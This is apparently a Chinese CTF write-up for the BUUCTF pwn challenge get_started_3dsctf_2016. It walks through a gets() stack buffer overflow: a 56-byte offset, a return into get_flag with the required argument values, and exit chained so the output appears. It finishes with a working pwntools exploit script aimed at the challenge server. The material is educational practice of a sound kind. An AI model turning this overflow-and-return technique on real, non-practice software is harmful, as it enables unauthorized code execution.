BUUCTF[get_started_3dsctf_2016]

步骤

使用checksec查看

使用ida打开,发现存在gets函数

溢出只需要56个字节

搜索发现有个get_flag函数,满足条件会执行打开flag.txt的指令

该函数地址为0x080489A0

我们可以溢出后 覆盖返回到get_flag函数,并且传入符合判断的值

a1的值814536271就是0x308CD64F

由于该题目没开启标准输入输出,于是我们得让函数正常退出来得到回显

exit函数地址0x0804E6A0

exp

python 复制代码
from pwn import *

get_flag=0x080489A0
exit_addr=0x0804E6A0
a1=0x308CD64F
a2=0x195719D1

p=remote('node5.buuoj.cn',28150)
#p=process('./get_started_3dsctf_2016')
context.log_level='debug'
sleep(0.1)

payload = b'a'*56
payload += p32(get_flag)+ p32(exit_addr) + p32(a1) + p32(a2)

p.sendline(payload)
p.interactive()
相关推荐
kishu_iOS&AI1 小时前
Conda 简要说明与常用指令
python·安全·conda
wal13145203 小时前
Dify发布V1.13.1版本,Hologres 向量数据库支持、HITL 邮件 Markdown 渲染及多项安全加固
数据库·安全·dify
陈天伟教授3 小时前
人工智能应用- 预测新冠病毒传染性:04. 中国:强力措施遏制疫情
前端·人工智能·安全·xss·csrf
jxkejiiii5 小时前
巧用手机原生功能,零成本给重要文档加密防护
安全·智能手机
Dola_Zou5 小时前
工业软件安全架构向模块化授权演进的解析
安全·自动化·安全架构·软件加密
互成6 小时前
加密系统哪款最好用?2026年五款加密系统深度对比测评
运维·网络·安全
纽创信安6 小时前
纽创信安与SGS启动网络安全ISO 21434认证项目
网络·安全·web安全
CertiK10 小时前
CertiK实测:Skill扫描并非安全边界
人工智能·安全·openclaw
WZTTMoon10 小时前
从互斥锁到无锁,Java 20年并发安全进化史
java·python·安全
软件供应链安全指南10 小时前
跟随 Gartner 洞察:AIST 从单点能力到全域安全治理的蜕变
大数据·人工智能·安全·gartner·问境aist·aist